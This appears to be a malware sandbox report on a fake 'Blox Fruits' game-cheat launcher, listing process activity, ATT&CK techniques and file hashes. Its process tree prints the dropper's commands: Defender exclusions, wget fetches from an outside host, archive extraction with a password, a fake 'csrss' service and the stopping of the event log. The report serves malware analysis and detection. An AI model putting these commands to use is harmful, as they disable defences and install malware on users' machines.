Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe
Token: SeShutdownPrivilege	3032	chrome.exe
Token: SeCreatePagefilePrivilege	3032	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
3032	chrome.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe
2844	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 3480	3032	chrome.exe	77
PID 3032 wrote to memory of 3480	3032	chrome.exe	77
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 1716	3032	chrome.exe	91
PID 3032 wrote to memory of 448	3032	chrome.exe	92
PID 3032 wrote to memory of 448	3032	chrome.exe	92
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93
PID 3032 wrote to memory of 3076	3032	chrome.exe	93

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://lavacht.com/Blox_Fruits_Script/index.php
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0x40,0x108,0x7ff95f269758,0x7ff95f269768,0x7ff95f269778
  2⤵
  PID:3480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1728 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:2
  2⤵
  PID:1716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:8
  2⤵
  PID:448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2244 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:8
  2⤵
  PID:3076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2976 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:1
  2⤵
  PID:4504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2968 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:1
  2⤵
  PID:4076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4824 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:8
  2⤵
  PID:3132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:8
  2⤵
  PID:4420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5524 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:8
  2⤵
  PID:4852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3944 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1236
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5788 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:1
  2⤵
  PID:3632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6020 --field-trial-handle=1876,i,8389262609588254013,2396329352501329369,131072 /prefetch:8
  2⤵
  PID:2672

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2436

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4092

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Blox_Fruits_Script\" -spe -an -ai#7zMap1124:98:7zEvent13167
1⤵
PID:3852

C:\Users\Admin\Downloads\Blox_Fruits_Script\Launcher.exe
"C:\Users\Admin\Downloads\Blox_Fruits_Script\Launcher.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies system certificate store
PID:4316
- C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
  "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3984
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1044
  - - C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
      "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:1668
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4668
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:4204
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:2028
    - - C:\Users\Admin\AppData\Roaming\services\plugin0222
        
        C:\Users\Admin\AppData\Roaming\services\plugin0222
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1152
      - C:\Users\Admin\AppData\Roaming\services\plugin0222
        
        "C:\Users\Admin\AppData\Roaming\services\plugin0222"
        6⤵
        Executes dropped EXE
        
        PID:5064
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 592
        7⤵
        Program crash
        
        PID:3024
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:4312
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:632
    - - C:\Users\Admin\AppData\Roaming\services\2plugin2901
        
        C:\Users\Admin\AppData\Roaming\services\2plugin2901
        5⤵
        Drops file in Drivers directory
        Checks BIOS information in registry
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:4340
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3580
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "csrss"
        6⤵
        Launches sc.exe
        
        PID:2004
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:3532
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:4348
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "csrss" binpath= "C:\ProgramData\SystemFiles\csrss.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:4116
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\services\2plugin2901"
        6⤵
        
        PID:1896
        
        C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        7⤵
        
        PID:2924
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "csrss"
        6⤵
        Launches sc.exe
        
        PID:1296
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:1380
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:3576
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:876
    - - C:\Users\Admin\AppData\Roaming\services\3plugin0222
        
        C:\Users\Admin\AppData\Roaming\services\3plugin0222
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1064
      - C:\Users\Admin\AppData\Roaming\services\3plugin0222
        
        "C:\Users\Admin\AppData\Roaming\services\3plugin0222"
        6⤵
        Executes dropped EXE
        
        PID:1580
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
        5⤵
        
        PID:1588

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
PID:2844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5064 -ip 5064
1⤵
PID:1568

C:\ProgramData\SystemFiles\csrss.exe
C:\ProgramData\SystemFiles\csrss.exe
1⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1908
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2596
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1136
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:4080
- - C:\ProgramData\SystemFiles\csrss.exe
    "C:\ProgramData\SystemFiles\csrss.exe"
    3⤵
    - Drops file in Drivers directory
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:1908
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:3488
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:4124
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:680
- C:\Windows\system32\conhost.exe
  conhost.exe
  2⤵
  - Checks BIOS information in registry
  PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\SystemFiles\csrss.exe

Filesize
3.7MB

MD5
7273984bef427c90535fe3d89d97cc85

SHA1
8dbd6bcd21d30cdfe3df1f84d00ef66ab4b8c7af

SHA256
21f2d135a17793ae2be1fd4987d197105e450a2b322f5a454d29cdb57d316409

SHA512
c3c2bc01de77eade8fad84b732fca47bf04764b3957891031b551ac7547da3abe3930cbcb312342241c2fb6e2e8e1cd172fee629779ff027b4dbf89f80f683a1

Download Submit
C:\ProgramData\SystemFiles\csrss.exe

Filesize
3.4MB

MD5
a42c406913d450ffefdc4a09883306fd

SHA1
2c0732aa9e286f92e2451279997eda70a7c86b9e

SHA256
85c76368c7445772780c30f44d07d3e5f1b2e37afd0123051c78cf9a74fc0828

SHA512
9cc0e8b6b05579990ae471eeac121511c4c5ff6754959922e617e92861416def13744fac909631f40f73f5a7ad74515674d96d462d3bf01a29068a3a87483777

Download Submit
C:\ProgramData\SystemFiles\csrss.exe

Filesize
4.1MB

MD5
7e6396b97b90e4dbfc96c6b066ce618a

SHA1
e86cf3569983eb3299b80654487fc80d7f9c09bf

SHA256
6936b0c523f0a63ca54057a3c9c13884ade98be6a60b9fe91f85839d61b42ebf

SHA512
0c8e6c0aed596a840ec6953f1c50840a2d8541fac44771678222a1d4ae281f62b12d3226cd00bb94d4f3a35fd9e088df83d3389823220f9587d4748f98c136f6

Download Submit
C:\ProgramData\SystemFiles\csrss.exe

Filesize
3.4MB

MD5
7b4149aed9d52f9a356911e105e6d861

SHA1
eea03b30620194fe9c303ff54a4bf6dcae6a32c0

SHA256
18bd91e5faf16a03ff1d4d3185458339d261c89b54cd80b3e00b0eeb67fb8478

SHA512
7cd73a385c5b6f13247355a2289f20b03cfd1d6da08b48dc5a9cd6dd259759e46218854cd605bffec16a86fe23f0dea90e8113072de917699f59747d751a1e82

Download Submit
C:\ProgramData\SystemFiles\csrss.exe

Filesize
4.4MB

MD5
8a621a129689352bd0c7eddd7b3746d1

SHA1
ea17740a4ccdb0201dcdc1655ac62f4552670853

SHA256
fe74fd897e33408f9ac8ea28d9b6052728b4d16f5e9f49ac60d5508be5b06495

SHA512
68074a4fd05e762100eb7f8e0e764986a66ca1b745561ee480f5cc0a575511da2c3f6c3c2ea3e17aa4746760e11882f4d1354b45c705ff3dacb4ca09b2c69a2e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
203f163f97b1b4da3fa743ef5f4ae104

SHA1
06484dbeb1cda4c0908fe9139938718002913034

SHA256
f9bae49022acbae7842126c47dc493868a9d422550129893984aab68efb19800

SHA512
cc657bcfed1fc80d20264165e2ecea62b30307003a719525bcd3532345c72b94452230f614e0ef2653f109eeac40e0ff703bab986c81824cff4dfe57bc8c4276

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
deb19708bb5e475d60394f3cd70e51d2

SHA1
fde2c257f058f67a88fdba8b10b50609b683ab9a

SHA256
39d85bd1ed2dd6956d59316aca6a67bed4e20d0dfa002547f8fae145db3a753b

SHA512
354dd092717d121ae287f1ed8b96391093dbb9e0a33235488670b066c59475f99402c7743d6898dd044848fff91b1d51af07b9a9a8317a98566c47e139033904

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
5f41b94f6fbe64c3ac49aa1647957d69

SHA1
87b9fdd5034991e41bf8f7895ad7bc6124a9857c

SHA256
c53c4bedce2236761198c424d9e381b49b9e77c07171a2b4f8f61444d75aee05

SHA512
42662226e3861096694ce633ee5c6eceec6f301aa50014a0b34ac6832919a655e2cca28cc32de7e70610a61234e90fc731bb81d6924be3f76d2854b2437e969b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
d17d16c467002b0fc1c9a62dcd8b066e

SHA1
8a3d2e38c2d5965bd42e2fdd3cebe070579e8c7b

SHA256
e781b6ce4cd5b478e9095e60d0060aacc4e7a119fa31df4985c371312f7cbdb0

SHA512
db168c74daa025552072d8d5ec6cc6675a9f6f769a00103b2d4f796cdb48386ad4bc1ada114248565d7af81553018ee1d1597a59a9f798cad4d6556c4a87a8f8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
